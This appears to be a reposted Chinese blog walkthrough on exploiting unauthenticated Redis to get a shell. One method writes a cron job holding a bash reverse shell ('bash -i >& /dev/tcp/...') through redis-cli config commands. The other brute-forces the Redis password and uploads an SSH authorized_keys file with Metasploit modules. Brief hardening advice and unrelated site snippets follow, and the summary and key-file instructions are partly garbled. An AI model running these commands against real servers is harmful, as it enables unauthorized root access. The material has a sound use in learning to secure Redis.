redis未授权访问漏洞利用获得shell

摘要:
。首先在本地生成公钥并将其保存到authorized_在密钥文件中,请注意文件的内容必须在前后添加。

方法一、利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口:
nc -lvnp 7999
然后执行命令:
root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "
* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1
"
OK
192.168.63.130:6379> config set dir /var/spool/cron/  #设置Redis的备份路径
OK
192.168.63.130:6379> config set dbfilename root #设置备份文件和文件名
OK
192.168.63.130:6379> save
nc监听端口已经反弹回来shell:
redis未授权访问漏洞利用获得shell第1张

 方法二、通过写公钥到服务器获得系统权限

这里用到的是msf里面的攻击模块,如下:

1.先用auxiliary/scanner/redis/redis_login   #该exp功能是对redis的密码进行枚举,如下:

redis未授权访问漏洞利用获得shell第2张

redis未授权访问漏洞利用获得shell第3张

2.使用auxiliary/scanner/redis/redis_server确认密码的可用性,如下:

redis未授权访问漏洞利用获得shell第4张

3.auxiliary/scanner/redis/file_upload   #该exp功能为上传本地的文件到目标服务器。

(1).先在本地生成公钥并保存到authorized_keys文件中,注意这里要在文件内容得前面和后面都加上 才行。

redis未授权访问漏洞利用获得shell第5张

 (2).使用auxiliary/scanner/redis/file_upload模块进行上传authorized_keys文件

redis未授权访问漏洞利用获得shell第6张

 然后使用私钥登录目标服务器:

redis未授权访问漏洞利用获得shell第7张

安全修复建议:

1.在redis.conf配置文件中找到requirepass去掉前面的# 并在后面将foobared或者一个弱密码 改成高强度的密码,原因是redis验证密码的速度很快,给攻击者进行高速的爆破密码提供了一个良好的基础。

2.在设定了高强度密码的基础上还需要做访问限制,限制白名单内IP才能访问,如果项目可以最好设置只允许本地访问。

免责声明:文章转载自《redis未授权访问漏洞利用获得shell》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Java笔记(十五) 并发包CentOS通过crontab定时重启服务器下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

linux中常见的脚本工具

1、Perl Perl脚本最初为在Unix系统中更好的处理文本报表而设计,经过多年的发展已经成为一种广泛应用的高级脚本语言。Perl脚本对文本文件的处理功能依然非常强大,在图像处理、系统管理、网络编程、数据库编程等方面可有其用武之地。 2、Python Python是最近几年发展非常快的一种脚本编程语言,它的设计理念非常重视代码的可读性,其最显著的语法特点...

shell重定向符

shell重定向符   >, < 及>>,<< 文件描述符    0, 标准输入     对应文件/dev/stdin 1,标准输出     对应文件/dev/stdout 2,错误输出     对应文件/dev/stderr &1,标准输出通道 &2,标准输入通道 command > file 是...

shell脚本(3)-格式化输出

一个程序需要有0个或以上的输入,一个或更多输出 一、echo语法 1、功能:将内容输出到默认显示设备。 echo命令功能在显示器上显示一段文字,一般提到提示的作用 2、语法:echo[-ne][字符串] 补充说明:echo会将输入的字符串送往标准输出,输出的字符串以空白字符隔开,并在最后加上换行号。 命令选项: -n:不在最后自动换行: [root@loc...

shell export 作用转载

shell 与 export命令用户登录到Linux系统后,系统将启动一个用户shell。在这个shell中,可以使用shell命令 或声明变量,也可以创建并运行shell脚本程序。运行shell脚本程序时,系统将创建一个子shell。 此时,系统中将有两个shell,一个是登录时系统启动的shell,另一个是系统为运行脚本程序创建 的shell。当一个...

jedis 连接 redis

一、连接单机版的 redis /** * 直接连接 redis * @throws Exception */ @Test public void test1() throws Exception { //创建一个 jedis 对象,参数:host、post Jedis jedis = new Jedis("192.168.25.128...

Redis 设置密码登录

前言 redis在生产环境中通常都会设置密码以保证一定的安全性,本篇blog就简单记录一下如何在redis中设置客户端登录密码。 修改redis.conf RT,打开redis.conf文件,搜索requirepass关键字,如下图:  关注标记的那一行,#requirepass foobared。设置密码的方法就是去掉注释的#,把foobared替换...